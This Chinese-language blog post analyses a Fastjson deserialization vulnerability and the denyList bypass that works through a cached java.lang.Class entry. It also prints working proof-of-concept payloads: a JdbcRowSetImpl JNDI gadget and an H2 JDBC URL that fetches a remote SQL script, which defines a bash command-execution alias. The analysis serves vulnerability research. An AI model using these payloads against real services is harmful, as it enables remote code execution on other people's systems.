Learning Man's Blog

Fastjson 新反序列化漏洞解析

字数统计: 2.5k阅读时长: 9 min
2019/08/06 Share

首先奉上廖大大的fastjson经典流程图

  • JSON 入口,提供将json串转换为java对象的静态方法。这些方法的实现,实际托付给了DefaultJSONParser类
  • DefaultJSONParser 功能组合器,它将上层调用、反序列化配置、反序列化实现、词法解析等功能组合在一起,相当于设计模式中的外观模式,供外部统一调用
  • ParserConfig 全局唯一的解析配置
  • JSONLexer 专门用于解析 JSON 字符串,主要JSONScanner和JSONLexerBase,前者是对整个字符串的反序列化,后者是接Reader直接序列化
  • SymbolTable 因为 json 特殊性,对关键 key 的缓存
  • ObjectDeserializer 反序列化接口

解析流程梳理

Demo基于 fastjson 1.2.36 & jdk 1.8.0_151

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class test {
    public static void main(String[] args) throws IOException {
        String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}";
        Object obj = JSON.parse(payload);
    }
}

DefaultJSONParser 初始化

首先直接跟入 parse 函数,可以看到默认使用 default_parser_feature,这个值 989,用于直接与 feature 与运算来实现功能开关

跟着就可以看到DefaultJSONParser初始化,其中第二个参数即是全局配置实例

-w843

简单跟入看一下配置信息,可以直观看到很多有用的内容

-w772

回到初始化,紧接着就是调用 scanner 对 json 内容进行解析,实际上是将bp指针停在0位,同时ch对应第一个字符,并通过鉴别ch值赋予token对应常量,这个常量在后面会用到

-w896

parse 解析

在DefaultJSONParser初始化完毕后,紧接着调用parse(),此函数会根据 token 值来实现不同内容的解析,在这里会进入 JSONObject 函数,其参数是通过将 lexer.features以及 Feature.OrderedField.mask 进行位运算来判断是否支持相关功能,进而生成 LinkedHashMap 或者 HashMap

-w720

-w700

初始化后完毕后,再通过 parseObject 来实现真正的内容解析

parseObject

parseObject 通过从左到右,进行嵌套解析

  1. 首先调用scanSymbol对key进行扫描

-w766

com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol(com.alibaba.fastjson.parser.SymbolTable, char)

简单解析,np记录key前"所在位,sp 记录有效字符长度,然后拷贝进symbolTable中,同时记录的还有对应的 hash 值,计算方式如下

hash = 31 * hash + chLocal;

若遇到\\开头的key,则向之后内容存到 sbuf 中,并通过控制sp长度将解析出的key放入到symbolTable中,但注意此时没有对应的hash值(这里复用 sbuf 减少开支,对 sbuf 长度控制还有简单的处理可以自己看下源码)

  1. 之后对 key 值进行判断是否为特殊 key

-w833

  1. 通过标志判断是否需要解析填充对应 context

-w911

之后是类似 key 判断的逻辑代码,只不过是这次是用来判断 value,在没有设置 fieldTypeResolver 的情况下,会调用 parseObject 进行嵌套解析

-w912

循环嵌套分析大致就是以上的逻辑


当判断 key 为 @type 之后会进入相关逻辑代码

-w985

可见关键的checkAutoType,在这里因为java.lang.Class不在黑名单中,所以允许在 map 中搜寻并返回相关类
可见 autoType 是否开启都不会影响到通过 map 搜寻(下图前两个红框),所以造成通杀

-w817

之后,进入到反序列化clazz过程

-w699

函数目的如其命名:通过 type 来获取反序列化操作函数,通过判断是否为空、任意类或参数化类(泛型),并返回对应的类

-w587

跟着看下 get 函数的内容,可以看到通过计算类名对应 hash 值,在 buckets 中寻找对应实例

-w716

那么 buckets 里面的内容是怎么来的呢?其实是在DefaultJSONParser初始化阶段生成全局 ParserConfig 时候填充的

-w623

现在有了反序列化目标实例后,回到 @type 逻辑中,执行反序列化

-w675

在对 @type 反序列化中,通过 accept 判断下一位是否为合法的",并将 token 设置为"后的首字符对
应值(常见操作,不再提及)

接着会判断对应 value 的 key 是否为val,在通过判断期望:后,解析出后面双引号中间的字符串值,再判断是否使用}进行了闭合

-w683

所以通过上面一段就先解释了这段代码的处理逻辑

{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

当获取到 val 后通过通过判断 val 类型进行简单操作

-w464

之后就是对 clazz 即 @type 值判断,选择对应的处理方式,对于java.lang.Class尝试读取目标类

-w762

TypeUtils#mappings 中存储着特征值以及对应的基本类,在无法查询目标类的情况下会调用launcher主线程直接加载目标类并返回,同时会将特征值(类名)以及对应类推进 mappings 中,方便后续调用

-w787

后面将其加入到 object 中,以及更新 context,再继续进行后面的解析

-w682

Bypass denyList

结合上面checkAutoType逻辑,这次将com.sun.rowset.JdbcRowSetImpl推入了 Mapping,下一次程序能搜索 map 中有对应类,导致绕过了 denyList 检测

-w655

createJavaBeanDeserializer

当类似前面解析的逻辑,当进入到到反序列化阶段,需要获取目标类,程序会在ParserConfig中判断是否为一些常见类
在没有任何匹配的情况下,会调用createJavaBeanDeserializer生成一个新的deserializer

-w902

该函数下,通过判断 clazz是否具有泛型参数、外部类型、接口、内部类,并生成 beanInfo 用于各种逻辑判断变量信息
最后达到最重要的以下两句代码,通过 beanInfo 进入 asm 工厂生成deserializer

-w695

asmFactory 动态生成

-w909

可以见到中间部分代码,用来生成构造、实例生成、反序列化、数组值反序列化函数
由于是 asm 动态生成的类的字节码,无法直接查看,这里通过写到本地磁盘进行查看

-w825

代码过长,截取一部分,关注继承自JavaBeanDeserializer和最下面的三个公共函数(还有一个deserialzeArrayMapping因为代码太长就没放上来)

-w868

回到上面 asm 生成类中创建实例时 JavaBeanDeserializer 初始化起到的作用,根据下面代码可以看到主要就是将 beanInfo 中的变量通过 createFieldDeserializer 转换,并将各个变量支持的不同字段名放入alterNameFieldDeserializers中并存到sortedFieldDeserializers中

-w874

可以看到两个关键的参数

-w606

Deserialze 反序列化

经过上面的过程获取到了目标类以及相应的deserialzer,就可以真正执行反序列化了

-w663

因为导出的class文件通过反编译里面的内容。。。。反正我是看不懂,直接越过看最后的调用

-w767

debug 下可以看到传入的类型以及各个参数值

-w742

紧接着跟入到JavaBeanDeserializer#deserialze,首先还是后续内容格式进行判断,如果跟着是,则进入以下代码,这里提取每一个sorted的字段序列化对象、字段名、字段对应类
如果字段不为空,则继续提取对应将要搜寻的字符串(name_chars)

-w756

接下来就是对 fieldClass 的分类处理,对 autoCommit 而言,即为进入以下代码片段,内容很好理解,后面就是值匹配的一系列操作,就不展开了

-w742
-w703
-w791
-w551

关键点

  1. 在检测到 @type 为 java.lang.Class 后,会调用com.alibaba.fastjson.serializer.MiscCodec进行反序列化。先解析出val对应的字符串值,之后调用com.alibaba.fastjson.util.TypeUtils#loadClass()来读取目标类,如果不存在于 mappings 中就会推进去以备后(第二轮)用。这里 com.sun.rowset.JdbcRowSetImpl 就被推进了 map 中

  2. 第二轮检测 @type 为 com.sun.rowset.JdbcRowSetImpl 时,在checkAutoType()中,由于map 优先级高于denyList,且可以在 map 中搜索到相关类,导致绕过了黑名单检测,最终实现目标类实例化

  3. 早期版本中,TypeUtils.java#loadClass 读到的类会直接推进 map;而在接近版本 1.2.47(具体哪个版本开始的没注意),loadClass 会通过新增的boolean参数 cache 选择是否将读到的 class 推进 map

-w654

-w1087

POC

1

广泛公开流传的,与 autoType 无关,可通杀 version < 1.2.48

{
    "name":
    {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "x":
    {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://localhost:10999/Exploit",
        "autoCommit": true
    }
}

2

原文章,需要 autoType 开启,version <= 1.2.58,以及下面列出的 jar 包支持

h2 database and some jar
.
├── fastjson-1.2.58.jar
├── h2-1.4.199.jar
├── jackson-annotations-2.9.8.jar
├── jackson-core-2.9.8.jar
├── jackson-databind-2.9.8.jar
└── logback-core-1.3.0-alpha4.jar

Poc

{
    "@type": "ch.qos.logback.core.db.DriverManagerConnectionSource",
    "url": "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"
}
# inject.sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('calc') # 直接改这里

高版本补丁

i. denyList

自 1.2.42 开始改成了denyHashCodes,以增大攻击难度,github 上有人跑了一下类名及对应哈希

-w347

ii. loadClass

默认 cache 为 false,导致无法将目标类推进 map 来绕过denyHashCodes检测

-w650

高版本绕过

暂上文章

http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/#v1-2-41

JDK version

java反序列化攻击受jdk版本影响

快速爆版本

经过简单的搜索,可以发现只有两个点在抛出异常时会携带有版本号信息

-w678

考虑到攻击场景,所以利用位于JavaBeanDeserializer#deserialze

-w903

所以在进入此函数后,因涉及多次判断,最简单情况只要 token 不为{}[,情况下即可抛出版本信息

-w1019

遇到的问题

i. System.identityHashCode in Run & Debug mode

发现直接run 1.2.36源码时(疑惑?),deserializers中加入WeakReference会导致 java.lang.Class对应 key 丢失
-w760

深入一下,可以看到在 run 模式下,最后生成的 key 都是 807,导致了覆盖
-w376

debug 模式下则是一个 807,一个 425,所以后面可以搜索到
-w384

CATALOG
  1. 解析流程梳理
    1. DefaultJSONParser 初始化
    2. parse 解析
    3. parseObject
    4. Bypass denyList
    5. createJavaBeanDeserializer
    6. asmFactory 动态生成
    7. Deserialze 反序列化
  2. 关键点
  3. POC
    1. 1
    2. 2
  4. 高版本补丁
    1. i. denyList
    2. ii. loadClass
  5. 高版本绕过
  6. JDK version
  7. 快速爆版本
  8. 遇到的问题
    1. i. System.identityHashCode in Run & Debug mode